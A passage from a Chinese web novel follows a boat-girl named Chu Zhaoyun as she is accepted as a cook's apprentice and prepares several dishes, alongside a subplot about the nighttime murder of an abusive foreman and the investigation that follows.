四处瞧瞧管事们都没在,褚朝云将拧好的布巾搭在船栏,净了手,便往厨房去。 两名助手见她过来,都笑着对她点了点头。 虽说这表情里更多的是鼓励之意,可褚朝云却被二人笑的有些不安。 本来之前还没那么慌的。 她站在门旁深吸几口气,门内的程月见她一副要沐浴净身的庄重样,难免也笑了下。 “进来。” 程月抬手招了招,态度倒是柔和的很。 褚朝云被程娘子一声召唤平抚了心绪,还真放松了下来。 她迈步进门,走去一旁将盖在竹筐内的吃食取出,然后有些担忧道:“这是昨个夜里做出来的,放置了一夜,可能口感上就不那么好了。” 程月听得懂她的意思,褚朝云是怕口感偏差会影响判断。 毕竟她条件有限,没办法现做。 她也不想的啊…… 不过冬日自然有冬日的好处,虽说过了宿肯定是要差些,但好在食物保存的完好。 褚朝云将盘子递上,程月接过就仔细观察起来。 确切的说,褚朝云做的是一份山药泥。 山药蒸过捣成了泥,其中点缀了一些菘菜的颗粒还有煮熟掰碎的鸡蛋,白白的山药泥上有黄色也有绿色,都是浅色系的吃食,组到一块看着还挺鲜亮。 褚朝云将山药泥摆成了螺旋冰淇淋的形状,火焰一样的瞧着确实很有意思。 不过除却这个,那白的如同雪山一样的山药泥上,似乎还点缀了些棕红色的小颗粒。 那小颗粒被搓的细碎,颗颗剔透。 如雪山上结出的果实。 褚朝云见程月总算注意到了那些砂糖,才立刻给她递上一只木勺,并满面期许的说道:“程娘子,不如您尝尝看?” 程月也正有此意。 这精致的小食“色”是有了,那么“味道”自然也是第二重要的因素。 程月接过木勺往最下方挖过去,一勺细腻的泥中有鸡蛋和菘菜,还有砂糖。 她小口品了一下,甜丝丝的。 除了有山药原本的丝滑口感,还有鸡蛋独有的香味,以及因为加入菘菜之后又多了点脆甜,便不会显得那砂糖过分甜腻。 一种食物四种味道,很独特,做的也很有心。 见程月细细品尝时,褚朝云又说道:“其实这道山药泥若是在夏日吃,大概会更爽口些。” 程月抿了下唇,似是在笑:“为何?” 她问。 褚朝云想了一下,便按照自己的想法说道:“用冰镇着,冰冰凉凉又滑滑的,然后把菘菜换成薄荷叶,也算是一道能够解暑的甜品了吧?” 程月笑意放大,一低头,才发现她刚刚挖过的那一块还内有乾坤。 中空的位置并非是山药填充,而是一颗花朵形状的糖块,糖块中央嵌了些干花做点缀。 看着又是另一重小惊喜。 不过这次,程月的确被惊喜到了。 “朝云,你果然很有想法。” 程月像是很满意她的“作业”,摘下帷帽,神情认真的看向她说:“我的这关,你过了。但若想做我真正的徒弟,恐怕——” 还需一人的认可。 程月往外瞧去一眼,正好撞上迎面而来的钟管事。 钟管事显然也没想到,这会儿影儿不见的褚朝云会在厨房。 她淡淡一挑眉,轻瞥一眼程月端着的吃食,然后说道:“褚朝云,活都干完了?” 褚朝云被问的一颤,然后吐吐舌头,俏皮道:“还没。” 钟管事忽的也弯了下眉眼,而后皮笑肉不笑道:“那杵在这儿作甚?等着我来请你?” 褚朝云忙往门外走,只是在路过钟管事身旁,回头瞄了一眼程月。 程月自是明白她的意图,于是放下手中的盘子,几步跟出来,看着眼前人道:“钟管事,请借一步说话。”- 宋谨忙过一摊子事,便拎着个酒葫芦去了柳文匡的小酒肆。 都是常在这条街上走动的人,没谁不认得谁。 柳文匡正闲的磨牙,见来了生意,立刻乐呵地接过酒葫芦,笑道:“宋小哥又来给你们老头打酒啦?” “嗯,师父喜欢喝点去去乏。” 仵作师父每当要干大活的时候,就会打上一葫芦酒,先好好的喝一顿。 所以宋谨出现在这里,并非是什么好事。 只能说,府衙里又出了大案子,最近的蕤洲又不那么太平了。 但宋谨为了不引起大家的恐慌,并不会只在柳文匡这里打酒。 虽说商人都精明,但摸不到规律,便不会多想。 宋谨朝着一处发呆,似是心中有事,柳文匡打完了酒正要递给他时,刘新才也过来买酒了。 刘新才很少来这边,因为他不怎么喝酒。 但是邻居家那老爷子干活闪了腰,不方便来回走动,又知道这酒肆离刘老板铺子近,便拜托他过来一趟。 刘新才一见宋谨,就笑呵呵地走了上来:“你也在这儿呢,老弟。” 宋谨应过一声,表情依旧显出几分隐晦地凝重。 刘新才猜到或许是府衙中有事,也不好多打听,但还是将他拉到一旁,有点兴奋地说:“你叫我送去的甜芦苇我已经送到了,褚姑娘人好,还给我切了半盘,你别说,还真挺好吃。” 似乎提到褚朝云之后,宋谨眉宇间的紧蹙倒是松散了些。 但也没说其他。 不过刘老板倒是没想就此打住,而是瞅了一眼柳文匡后,又继续说:“我见到褚姑娘了,甜芦苇我可是当面交给她的。” “什么?” 宋谨总算回了点神,而后温声道:“您还能见得到她?” 宋谨如此惊讶也不怪他,毕竟雅间的姑娘容易见到,楼下的船娘却难如登天。 细节不便多说,刘新才只是对着宋谨一顿夸赞褚朝云。 “哎呀,没想到那褚姑娘年纪看着浅,见识倒不短!她不但知道甜芦苇这个东西,还知道要怎么吃!小姑娘十五六岁说起话来干脆的很,难得啊……” 刘新才越说越上头,夸完又道:“你说这小姑娘,看着倒是平平常常,可那双眼,却特别的很。” “特别?” 宋谨不解。 刘老板重重点了下头,像是再找什么合适的词儿,思来想去,说了一句:“嗯……特别叫人难忘!” 他确实不知道要怎么形容。 总之就是见过褚朝云之后,就记住了对方那双眼睛。 刘新才言辞灼灼,宋谨不由得就想起那夜在蕤河遇见的姑娘。 虽说那晚的月色不够明亮,但那陌生女子的眼睛,瞧着也很是与旁人不同。 宋谨还有公务在身,便没太跟刘新才多聊什么,接过酒葫芦付了银钱,便沿着长街往府衙那头去。 只是刚从胡同里拐出来,就和一个拿着猪爪子啃的男人错身而过。 对方身上腥膻味儿很重,还夹杂着一些难闻的酒气,像是昨晚喝了不老少,现下眼窝深陷在皮里头,就连走起路来也是半摇半晃。 差点,就歪在宋谨身上。 二人错过之后,彼此皆停了一下。 宋谨回头望他时,对方也刚好转过来。 四目相对,男人像是发狠地啃了一口手中吃食,也不顾那一嘴油相看着有多邋遢,冷笑一声就扬长而去。 宋谨的目光沿着他的方向望去,远远瞧过,西码头那侧皆是戴着幞头做事的劳工。 有两名个子矮一点的,像是也正往这边望来。 褚郁和项辰合力抬着一只铁箱。 因着离得太远,褚郁只是猜测的咕哝一声:“小辰,你看那边的人……像不像宋大哥?” “像。” 项辰压着声道:“宋大哥有阵子没来了。” 想到陈叔的提醒,褚郁略叹口气:“没来是好事,但万一哪日要再来可怎么办?我们该怎么通知他好呢?” 西码头和长街这边发生的事,褚朝云并不知晓。 只是程月跟钟管事说完“有事要讲”之后,二人便一同下了船去。 有些话并不方便在船上说,所以钟管事索性将程月带进了自己住的府邸。 进了二重院后,两人一前一后来到褚朝云曾去过的钟管事闺房。 钟管事示意程月入座,自己则抬手吩咐老管家去给他们倒茶。 她坐下之后,便淡笑一声看向对方。 只是这笑出现在妇人稍带冷薄的面庞,显得有那么一丝违和。 热茶奉上,妇人先拿起呷了一口,而后便直奔主题道:“能劳得程娘子大驾……你莫不是看中了那褚朝云么?” 第53章 2.5更 钟管事讲话总给人一种咄咄逼人的压迫感,可程月也是个走南闯北的妙人,自然不会真被吓到。 她随手拿起茶杯,轻轻撇去上方浮沫,似是在开口前已经打好了腹稿,态度上隐隐带有一种绵里藏针的傲。 程月声调依旧和婉,只眉宇淡淡道:“朝云姑娘踏实稳重不浮躁,且人又机灵,即便换了旁人,大抵也是能看得上。” 钟管事听得眼帘微动,倒没急着说话。 程月便继续道:“我知晓这船上的规矩,就算今日收下了她,也不会带她下船。” 话到此处,妇人轻轻抬了下眼,神情闪出几分异样,但又很快消逝。 随即,程娘子微笑着放下茶杯,又盖上茶盖说:“但我若有需要,她也是要跟我下船去做事的,你们可以派人跟着,我无妨的。” 钟管事轻嗤:“一个被困在这里动都动不得的徒弟,你要来作何?” “这便是我的事了。” 程月笑容收住几分,坐的却依旧端正。 钟管事没在开口,似是在思忖着什么,半晌过后,当杯中的热气快要散尽时,她才又道:“虽然程娘子此话听着确实合理,但我若就是不应呢?” “不应也是合理。” 程月平静回应。 “哦?” 钟管事站起身来,大概话题谈到这里也该结束了。 她正要唤老管家来送客,程月就又补了一句。 “那从即日起,我便只能辞去这份差事了。你有你的考量,但我离开蕤洲的做法,也一样是合情合理。” 这《合理》论甚妙,竟让钟管事有些不爽的挫败感。 妇人抬手唤管家的动作微顿,忽的转过身来,眼眸犀利,“程娘子,你要知晓,褚朝云再好,但她既然来了这里,那么这辈子就永远也下不了船了!” 程月将帷帽的布帘放下,淡道:“这是我的事,也是她的事,但并非是你钟管事的事。” “不劳费心。” 说罢,便往外走。 钟管事在身后打量着那抹已经出了门去的身影,忽的挑挑眉梢,又拿过那杯茶来饮。 茶水已经冷掉,但她喝着却觉得畅快。 老管家自门外进来,有些担忧的看着她,低声报道:“夫人,那位……又来了。” 可钟管事似是全然不在意管家口中“那人”,只是自言自语似的幽幽说道:“我从前就觉得程月性子太过温软,八年前的厨艺大赛,明明她是魁首,可最后的荣誉却让位给了第二名,连带着京都那块宝地也不愿多留……” 那时所有人都认为,程月是被那第二名给欺负走的。 毕竟魁首除了赚得名声,赏金,还有一份殊荣,便是能进到那京都第一酒楼里去做掌厨。 可最后留在酒楼的并不是程月,而是获得了第二名的老师傅。 但依着刚刚二人间的对话,恐怕真相并非如世人眼中所看到那般,这女子或许原本就不屑于留在那酒楼里。 “倒是个倔强的。” 钟管事缓缓摇了摇头。 说着话,老管家已经听到了门外传来的脚步声。 来人气势汹汹,似是还带了不少的人。 不过钟管事已经习惯了,毕竟每每过来,对方都要将这院子搅和的人仰马翻才肯罢休。 老管家还想再说什么,钟管事却抬手打断了他:“你去告诉程月,她说的,我应了。只是有一条,如若要带褚朝云下船去做什么事,必须要我同意才可,否则,她不可擅自下船。” “那……门外那个……” 相比起褚朝云的事,老管家其实更担心这个。 钟管事“啪”的将手中茶杯摔在桌上,冷笑一声:“不必理会,想闹便闹,她还能……要了我的命不成么。”- 老管家着人上船传消息时,程月正欲带着助手离开。 程娘子性子虽倔,但却并不喜争抢,今个能为了褚朝云出一次头,已是不易。 可她尽了力,若是管事依旧不应,她便会离开蕤洲,再去别的地方。 虽说可惜是真的可惜,但她实在讨厌口舌之争。 褚朝云送她下船时,还主动开口安抚她:“抱歉啊程娘子,没想到拜师不成,反害得你丢了差事。” 程月无奈的握了握褚朝云的手,“你这姑娘怎么时而精明时而犯傻,这差事与我而言什么都不算,反倒是你,不觉得遗憾么?” 当然遗憾。 而且还有点难受。 二人多说了一会儿子话的时候,府邸便来了人。 “程娘子,我们夫人说您可以收褚朝云为徒。” 说着,把钟管事的原话学了一遍。 突如其来的消息一入耳,褚朝云登时瞪大了眼睛,她抓着程月的手微微颤了下,进而转头看向来人,“真的?钟管事真这样说?!” “自然是真。” 来人是个小厮模样,一笑还有两个酒窝,那人瞧着也机灵的很,并未因褚朝云是船娘便看低她。 小厮给褚朝云做了个礼,然后笑道:“那么,就恭喜褚姑娘啦!” “谢谢你。” 褚朝云眼圈红了一下。 小厮道了一声“没事”,人就下船去了。 这好消息不只褚朝云跟程月听了开心,就连那两名助手也是一样。 只不过船上环境有限,褚朝云并不能像寻常人似的给程月行拜师礼,甚至连一杯热茶她都没得泡。 不过程月也不讲究这个。 既然钟管事点头了,而她还有徒弟在这儿,自己当然也不能真辞去差事。 船上来来往往的人有些多,褚朝云就跟程月进了厨房说话。 现下二人的关系不一样了,褚朝云就也没什么好瞒着的了。 她关上半扇厨房门,这才把自己准备参加长业寺素斋大赛的事情,和程月讲了一遍。 程月听过,还欣慰道:“你既有这个想法,那今日这师也是拜的对了。” “嗯?” 她不太明白程月的意思。 程月:“你要参加比赛,那就要下船去,若没有我们这层师徒关系,你又该如何去呢?” 其实这个问题她早就想过。 因着那日柳文匡和张满春得知她想参加后,便第一时间递了话来。 这二人递话的目的自然是为了帮她,毕竟是自己的合作伙伴,总要互帮互助些。 再加上张满春跟长业寺合作多年,所以届时他会出面去跟那方丈商议,让褚朝云在船上做饭,再由他们给带过去也是一样。 就效仿上次给曾茹做生辰宴那回,现做现送,应该也不会出什么问题。 褚朝云把自己跟张满春的关系说了,程月却并不赞同:“就算是依着你的想法,可若真成功了,那之后你可有想过要如何解决?” “之后?” 她挠挠头,倒是没反应过来这俩字的含义。 程月失笑:“我说的是夺魁之后,长业寺每逢初一十五都会供应素斋,你是要到那里去做的,在船上可没办法。” 褚朝云听了她的话,不由得“咯咯”笑。 她当然是很想夺魁,但也只是想想罢了,这比赛还没开始呢,谁敢说自己一定会拿下第一。 褚朝云觉得,程月着实有些看得起她。 虽说她没把心里头想的给讲出来,但对方俨然已经明白了她的意思, 程月看着她,徐徐说道:“我当年参加的比赛大大小小无数,却从未想过自己不会夺魁。” “所以。” 她将手搭在褚朝云肩头,轻握了握,声音柔和却饱含力量:“你作为我的关门弟子,也要有这份自信才行。” “关、关门弟子……” 这句话中的鼓励并没什么打动人心的地方,反倒是那四个字,胜过一切。 褚朝云着实有点被惊到了,她张了张口,像是不知该如何回应,怔然半晌,最终还是问出一句:“师父,你……不打算再收其他徒弟了吗?” “不。” 程月捏捏眉心:“我想自己的手艺得到传承,也是想不辱师命,可收徒这事……” 实在是太累。 心累。 她的性格也应付不来。 褚朝云忽的觉得心中多了一份责任感,她看着程月,学着电视剧里那些拜师礼,给程月行了一个大礼,然后掷地有声地说:“师父在上,请受徒儿一拜~” 程月满意的点点头,扶起她说:“你要的方子,我明日便写给你。” 那方子实在拖了太久,但也不是程月故意想拖,她最近确实脱不开身。 二人这么一聊起来,褚朝云才知她师父为何如此忙碌。 原是程月所住的那家院子,房东家的媳妇有事相求。 小院是程月和助手临时租来住的,房东是个卖肉的,房东媳妇有时也跟着去摊子帮帮忙,对方很是健谈,这一来二去过来收租时就跟她聊上几句,慢慢也就熟识了。 程月既是厨娘,那自然有分辨肉质好坏的能力,房东从前只卖猪肉,但前阵子得了途径开始改卖羊肉。 因着不太懂羊肉的好坏,还被坑过两回。 房东媳妇便想少收程月一个月租金,等下次自家相公再去进货时,就请她跟着去给掌掌眼。 但程月并未少给租金,不过也应下了此事。 只是接连去过两家进货的仓房,发现那里的肉都不太新鲜,所以这一忙起来,就把褚朝云的事情给耽搁了。 “我这几日多用熏香,否则身上的膻味去都去不掉。” 褚朝云见她烦恼,便跑回暗仓里取来些干花,“师父先用着,我回去给您做一只香囊来塞上干花,效果大概要比熏香好些。” 程月得了干花,总算有了点笑模样。 褚朝云手里还有活要干,说完话,人就出了厨房。 眼下,一件心头大事了了,褚朝云心情正美,远远地看到春叶在三层处朝她摆手,虽说对方没打算下来,但那表情里的焦急也说明了一切。 看来,那八十副手套的大单子得赶着做才行。 她回应给对方一个“放心”的眼神,春叶才算是安下心来。 八十副手套的确是一笔大的进项,这银子褚朝云是必须得赚。 当晚,她坐在刁氏的隔间里看徐香荷缝长筒袜,徐香荷这回缝的是不带莎草的,就是他们三人平日穿的厚长筒袜。 长长的袜子内里絮了好些的薄面,徐香荷做好一只便给刁氏去试。 刁氏穿上在地上踩了几个来回,眼中也带了点惊喜:“还真像你们说的,可真舒服,好像踩在棉花上。” 徐香荷听得止不住笑:“因为里面真有棉花的呀!” 刁氏也觉得自己是糊涂了,忍不住坐下来笑了半晌。 褚朝云盘着腿坐在一边,看着徐香荷手下针线穿的飞快,然后说道:“我觉得除了那八十副手套,咱们还可以外搭一双长筒袜,要不再弄个防水的鞋套吧?” “防水鞋套是什么??” 她自说自话刚来了一句,二人就齐齐看向了她。 褚朝云撑着下巴“嗯”了声,然后说道:“咱们下水穿的那种,是为了在水中方便,但没有办法穿着直接在地上走吧?” 刁氏听得一脸迷茫,“不是,要是在地上走路,那就直接穿鞋子好了呀?” 褚朝云坐直身体,细化的解释起来,“是的没错,可如果赶上下雨怎么办?下雨总会沾湿鞋袜,这要是家中只有一双鞋子的话,晾不干不说,第二日还得再穿,潮乎乎的,岂不是要生病的。” 其实她原本想的是做水靴子,但水靴子是鞋,成本高不说,她也不保证能做得出来。 袜子勉强可以,鞋子这里可没人会做。 所以既然莎草有防水的能力,做一个鞋套出来,在雨天套在鞋外,那可真是太方便了。 她说完,没等刁氏和徐香荷回应,便又道:“不说远的,就说咱们船上的活计吧,偶尔要洗刷船板的时候,哪个船娘的鞋子不是泡在水里,天长日久的脚都要泡烂了。” 褚朝云这么一讲,两人就都明白了。 听到跟自己相关的,徐香荷第一个激动的蹦起来:“对!对啊!!我就是那个脚丫子要泡烂的倒霉鬼!!!” 她说着,还一脸衰相的指指自己的脚。 这事,刁氏也是深有体会,“你这话有理的很,就不说咱们,那些渔民平日也要刷船板的,若知道有这好东西,他们想必也更需要。” 徐香荷:“那这可就不是八十副手套的事了。” 刁氏:“嗯,先送个样板过去,只要他们看到了,估计很快又会有新的活要做。” 徐香荷:“这笔银子真的值得赚诶,只不过——” 她没说完,而是又看了眼刁氏那发红的眼睛。 褚朝云懂她的意思,就还是人手问题。 她站起身来,活动了一下僵硬的四肢,然后说道:“你们先忙着吧,我去做点饭回来。” 许是今个高兴,褚朝云连上木梯的脚步都变得轻快起来,往厨房去的一路上,她就想好了今日的晚饭。 进门之后她便先去翻食材,好在之前做的嫩豆腐还剩下最后一块,褚朝云取来放到案板,开始用刀将它切成小的四方块备用。 小盆里打入两只鸡蛋,她在鸡蛋中撒了些盐做调味,然后就开始用筷子将其搅拌均匀。 跟着,又将切好的嫩豆腐小心的放到盆里。 因为豆腐易碎,所以有些没粘到蛋液的,她就用木勺盛蛋液往豆腐上浇。 这边弄完,她先把盆子放到了一旁,也是给时间让蛋液多多滋润滋润豆腐块。 之后就取了一捧面过来。 其实在做这道主食之前,褚朝云心中也是犹豫过的,她并不知纯面粉是不是真能做得出来,但总归是手痒想尝试。 褚朝云在面粉中加了水,揉好了面团之后就放在一旁静置。 静置期间,又去竹筐里挑了一些配菜和葱蒜,配菜处理好了,面团也醒的差不多了。 然后她舀来一大瓢的清水,倒入面团之中,双手就按着面团在水中搓搓搓。 搓这个也有技巧,但不懂的,就只能靠蛮力。 褚朝云就是靠蛮力那个…… 直到搓的手发酸,水变成了乳白色,她才不得不感叹一句,以前刷视频的时候,看人家做这玩意都轻松的很,怎地轮到自己就跟受刑一样。 她闷头捣鼓了好一阵子,总算把面粉里的筋给搓了下来。 再之后就是过滤了。 跟过滤甘蔗汁一样,虽说她用的布不如网状的筛子,但很可惜,她并没有找到筛子,就连仓库里,她也是去淘过一圈的。 勉勉强强的把面粉水里的杂质过滤掉,她就寻了个地方,将水盆放下。 其实将面粉水多放置几个钟头,效果会更好一些,只是时间上不太允许,所以这东西做的实在有太多的不确定性,褚朝云只能匀出一两炷香的时间等。 她在厨房忙活了好半天,便觉得有点热,于是开了门,想走出去透透气。 原本,她只是想在这条走道上来回溜达溜达,可出来之后,便隐隐听到远处似是传来些什么动静。 难道西码头那有人? 都什么时辰了?? 因为褚郁就住在西码头不远的地方,还有褚惜兰他们的院子,也距离那条长街很近。 褚朝云敏感的往船头走去,远远瞧去,西码头的长街上果然有些许亮光。 好似有什么人拿着火把,还不止一个。 褚朝云细细往那处观瞧,奈何这地势没什么优势,她一咬唇,索性偷偷上了木梯,一口气去到三层,然后再往那处看去。 这一下站得高了,视野果真也广阔不少。 西码头处此刻确实来了不少的人,看着像是衙差。 其实平时那些衙差也会到处巡视,不过像是这么大动静的,还真不多见。 远处的人群里,站着几名没穿衙差工服的男子,宋谨正跟朱力并几名同僚在小声讨论。 有年龄小的,也不顾那些衙差还在,便低声咕哝道:“死者不是已经送去老头那了么?还折腾咱们作甚?难不成又要诓咱们下河?” 朱力“啧”出一声,低低呵斥他一句:“胡扯什么,没事下河作甚?” “那这大半夜的是要干嘛?你该问问他们是要作甚?” 其实这件案子有点复杂,有人死了,有人失踪,虽说几乎都是在同一时刻发生的,但本质上来讲,死了的跟失踪的,根本就没有任何的联系。 二人互不熟识,可以说是从无接触。 但案子里的细节衙差们不肯同他们讲,只是因着人手不够,才又把他们给喊了过来。 宋谨那日打酒时心不在焉,琢磨的便是此事。 酒葫芦交给仵作师父时,老头还问了他一句,“宋谨啊,若是让你来判断,你可觉得这案件有什么蹊跷?” 宋谨微微思索,然后摇了摇头:“不知,细节披露太少,线索根本连不起来。” 老头笑了笑,“你先抛开这些,只说说自己的观点就好。” 宋小哥却仍是没松口,“师父,这……恐怕不太严谨。” “你说便是,又不是让你去跟岳知府讲,你担忧那些作甚。” 老头也不找杯,拧开酒葫芦就灌上一口。 柳文匡家的酒品质还算不错,喝着不是特别呛口,却别有一股醇香之气。 二人面前正躺着那名死者,白布被揭下来一块,露出的一张脸,在有些黑的屋子里显得还有点渗人。 可旁边站着的俩人,一个喝酒一个思考,倒都是一副不做亏心事,不怕鬼敲门的坦荡相。 许久,宋谨朝着那死者望去一眼,然后说道:“我不相信巧合,所以,我觉得他……和那失踪的妇人必有联系。” 长街那侧呜呜泱泱,动静很快引起了胡同里那间房中人们的注意。 褚郁和项辰一个激灵翻身坐起,才发觉身旁睡着的劳工们也都跟着坐起来了。 “外头怎么了?” “闹起来了么?怎么这么大的动静!” “走走走,去瞧瞧去瞧瞧!!” 被突然扰了清梦的劳工们正迷糊,胆子便也有点壮了起来。 一群人摸着黑下地,趿拉上鞋子,就你撞我我推你的往外走去,虽说这里有看守守着,但看守在胡同口,要从院子这一侧拐出去,往前走到头才能看得到。 有些劳工是真的对外面的声响好奇,但也有些,是浑水摸鱼要跟着出去的。 万一能寻到机会逃跑呢? 大家伙一个挨着一个的往胡同口挪腾,只是还没走到头,就看到了手拿火把的衙差们。 为首的衙差很警觉,早在劳工们往出走时就听到了动静,不过他只是往这处扫上一眼,而后便迅速移开了视线。 前方的劳工很快就都挤到了胡同口,最后只剩下褚郁项辰,还有那个腿脚不便的老陈,留在队尾。 老陈不让他们过去,褚郁和项辰就站在后边听动静。 直到衙差们快分派完任务的时候,旁边的院子里就又出来了一个人。 李二达酒喝的不少,走路时摇摇晃晃,许是被这动静闹得惊醒过来,人正有气,刚想扯开嗓子骂街,就和那为首的衙差对上了视线。 待看清来人身份,李二达登时一颤,人就清醒过来。 不知怎么,平时这群衙差他也时有遇上,但以往他只是会故意躲着些,难免冲撞,内心却并没有太大的感觉。 可今个碰上之后,他的脸顿时就吓得惨白,脑门和后背上,甚至还出了不少的汗。 那衙差只看他一眼就收回了视线,手握长刀一挥,说了句“出发”,一行人便分了四五路,各自往各自的方向而去。 人群最末,宋谨和朱力他们分到要往北码头去。 几名同僚边说边走,宋谨略微回了下头,刚好就看到了李二达。 那日在街上,二人错身而过时,宋谨就总闻到这人身上有一股说不出的怪味。 今个虽离得远些,再加上对方又喝了酒,本该是闻不到什么的。 可那股子味道却实在重的冲鼻子,宋谨微微皱眉,然后转回了头,跟着朱力往前慢慢走去。 人群散去半晌,李二达却还僵在原地,等到在动作时,脚丫子都站麻了。 他一回头,这才发现那些劳工此刻还藏在胡同深处往外瞧。 李二达不敢跟衙差耍横,对这些劳工,倒是想骂就骂。 这会儿他手里没拿鞭子,再加上酒劲闹得头昏脑涨,整个人也浑浑噩噩地,于是一边吃力的往胡同走,一边骂骂咧咧道:“妈的,一群下贱货!谁叫你们出来的,都给老子滚回去!!” 李二达一副被酒气掏空的虚弱相,就连张嘴骂人,听着都有些不太利索。 那群劳工见没热闹看了,又怕他真回去拿鞭子,就一个推着一个,老实的往回跑走。 站在最后的褚郁跟项辰离着李二达尚远,倒是没忙着动。 可老陈年纪大,人也谨慎。 见这俩小的似乎是傻了,便催促的想要拽他们:“快回去,快走,别看了。” 劳工们鱼贯而入,一股脑就全进了屋子,而胡同口的李二达却并没离开,反而继续喝骂着往里边进。 褚郁被老陈拉住胳膊的时候,小少年忙回头去看项辰。 项辰推了他一把,小声说:“我去茅房,你先跟陈叔进去。” 褚郁心想,上茅房这事李二达反正也不会管,就暂时放心的跟着老陈进去了。 李二达走进来之后,口中难听的话仍然没停,此刻他的脑袋越发昏沉,几乎看月亮都是重影的。 今个的酒喝的实在太猛,也不知道明个还能不能起得来。 该死的赵大,凭什么处处压他姑母一头! 要是他姑母的权力再大些,他哪里还会受这份鸟气,就算是赵大这畜生,也他妈要给他让路! 李二达走进来之后,便站在墙根下胡乱的想着。 他一会儿怪李婆子没本事,一会儿又怪赵大踩在他头顶上。 再加上那酒劲似乎隐隐有攀升之意,他原本只是觉得脑子发热发胀,可这会儿,头已经开始剧烈的疼起来。 李二达并没注意在他身后不远处,还站了一名个子不算太高的人影。 那人低下身子,缓缓拿起墙边倚着的木棍,一脸恶狠狠地,照着李二达的后脑便来了重重一下。 …… “啊”的一声惨叫传来,直穿破云霄。 褚郁忽的惊醒过来,伸手一摸,正摸到手指有些冰冷的项辰。 他把自己盖着的草垫子分出去一点,然后揉着眼咕哝:“小辰,你手怎么这么冷啊?才上完茅房吗……” 项辰此时心跳的厉害,见褚郁拽住他的右手,便有些慌乱的将左手藏进了身体下。 那袖口侧翻出来的地方,正落着一个血点。 血点轻而浅,微微扩散晕开一些,显然是才溅上不久- 褚朝云撑在船栏,从三层遥遥望去。 看了好一会儿,见那些衙差都各自去忙了,一想到自己那面粉水大概也快要沉淀好,便没再理会这边的事,迅速下木梯回了厨房。 进厨房之后,她便将水盆端起来看,然后小心翼翼把上层的水倒掉,只留下下层泛白的一片。 许是静置的时间还不够长,所以留下的并不太多。 但应该也是够用的了。 褚朝云又往里边添了些清水搅拌,嫌木勺搅拌的不够均匀,她就改用筷子在里面快速的搅动。 然后又找来个底深一些的盘子,将锅子里烧上水,盛出一勺浆水铺满盘底。 第一次弄时,她忘了在盘子里擦油,结果成型的面皮没能揭下来。 之后又多弄了几回,虽说这面皮不是每张都完整,有些因着力度太大,或是火候不到,还总是会弄破损掉。 不过总体下来,看着倒也还不错。 凉皮做好后,她索性拌了点程月的秘制调味料,又加入配菜,足足拌了一小盆出来。 主食弄完,下一步就是炒浸满了蛋液的嫩豆腐了。 炒豆腐相对来说简单的多,褚朝云先将盆中的蛋液和豆腐块一起下锅,煎到定型之后,才慢慢的翻了个。 最后,拌凉皮和鸡蛋包豆腐都做完,她又简单收拾了一下厨房,就端着走了出去。 凛冬夜下,远处的火把光亮早已不见,本该是寂静的夜晚,却从长街不知哪个胡同里,传出一声惊天的凄厉惨叫。 褚朝云被这声响吓了一跳,差点弄翻了手中饭菜。 她不由得又往码头望去一眼,随即稳下心神,疾步下了暗仓。 回来时正遇上起夜归来的方如梅,方如梅看了一眼她端着的饭菜倒也并没多问,也就是有点眼馋。 今个褚朝云被程月收为徒弟的事大家全都知晓,如今褚朝云的身份又多了一重,想必就算进厨房去开小灶,钟管事也只会睁一只眼闭一只眼。 但褚朝云不是个吃黑食的人,虽说没办法都照顾到,但赶上了也是有份的。 “等下我给婶子盛一份尝尝。” 方如梅感激的看着她,不好意思地说了句:“谢谢你啊朝云。” 说罢,方如梅便打算进隔间去。 褚朝云又笑着叫住她,隐晦地道:“婶子别忙睡,我等下还找您有事。” 虽是已经回了这不见天日的暗仓来,可褚朝云还是有点在意方才听到的动静,随即又问了声:“婶子,你刚刚……可听到码头那边的声音了?” 方如梅确实听到了,只是没太当回事。 她思想一会儿,无所谓道:“可能是野猫叫唤的,那边野猫多得很,我跟你说那声音——” 方如梅做了个夸张的表情。 褚朝云便也点点头,回了刁氏那里。 …… 这一夜着实叫人睡不踏实。 直到到第二日早,表情凝重的钟管事就提前上了船来。 “今个花船歇业一日,昨晚出了命案,等下会有衙差上船来问话,你们都先停下手里的活。” 钟管事说完又看向褚朝云,“你下去看看还有哪个没起的,立刻给我喊上来!” 褚朝云应了一声,又想到昨晚那声叫喊,便大着胆子问了一句,“敢问管事,出事的……是谁呀?” 她只是觉得昨晚的闹腾不太寻常,生怕跟褚郁他们有关,这才不得不问。 可见钟管事脸色不善,也没觉得对方真会愿意告诉她。 就在她预备下暗仓去喊人时,钟管事就飞快说了一句:“是李婆子的侄子,李二达。” 第54章 2.5更 其实,在对船娘们的问话开始之前,衙差们首先去的是劳工所在的胡同。 因为李二达的尸体,就是在那条胡同里被发现的。 这边由宋谨和朱力作为主要负责人,其他抬尸工同僚为辅助,他们身边还跟了一名衙差,只不过那人一直在胡同里外转悠,想来也是想搜集更多的证据。 李二达后脑的那一下重击是致命伤,但人在倒地之后,身上还被砍了五七八刀,死状凄惨。 通常这种凌乱的刀伤,多为寻仇。 可这案子着实让人挠头,因为李工头平时不做人的时候比较多,恨他的人,满蕤洲用船拉,可能还得找条大船才行。 就不说远的,且说那一屋子的劳工,有哪个没挨过李二达的打? 此时此刻,墙根下方,十几名劳工站成一排,人人皆是一脸震惊的表情。 褚郁跟项辰站在末尾的暗光下。 尤其是项辰,似是故意在躲避着什么,恐怕问话的差人注意到他。 外翻的袖口处被攥的湿润,不知何时还沾了些脏污,那丁点的血花也早就被模糊在了脏泥里。 褚郁察觉到身边人似是有些颤抖,便转过身来看他,“小辰,你怎么了?” 项辰低着头,身子又往后让了让,刚好借了左边的陈叔挡住自己。 他低低吭出一声,嗓子眼似是干的发紧:“……没事。” 那名检查完四外圈的衙差按着腰刀过来,目光在劳工们的面上寻过,然后皱着眉问:“你们刚才说,并没听到昨晚这墙根底下有声音发出来?” 众劳工你看我我看你,最后皆是一脸战栗的点着脑袋瓜子。 “是。” “是啊……都睡死过去了,真没注意。” “我们每天做工都累得要死,哪里有空关心别的,连起夜上个茅房都不想去,能多睡会儿谁不睡呢。” 大家七嘴八舌的应着,只是一些人的目光看着有些闪躲。 那衙差今个是第三遍问这话,可每一次得到的答案都差不多。 对方似是急了,暴脾气一上来直接抽出长刀吼道:“放屁!不过一门之隔的命案,哪怕睡得再死也该有点反应,除非你们全部都聋了!!” 他拎着刀胸腔起伏不停,刀锋被冬日的光照淬的冷且扎眼,劳工们几乎同时往后缩去,后背全部贴在墙壁上。 宋谨往褚郁和项辰的位置偏去一眼,似是怕衙差的刀吓到两个小的。 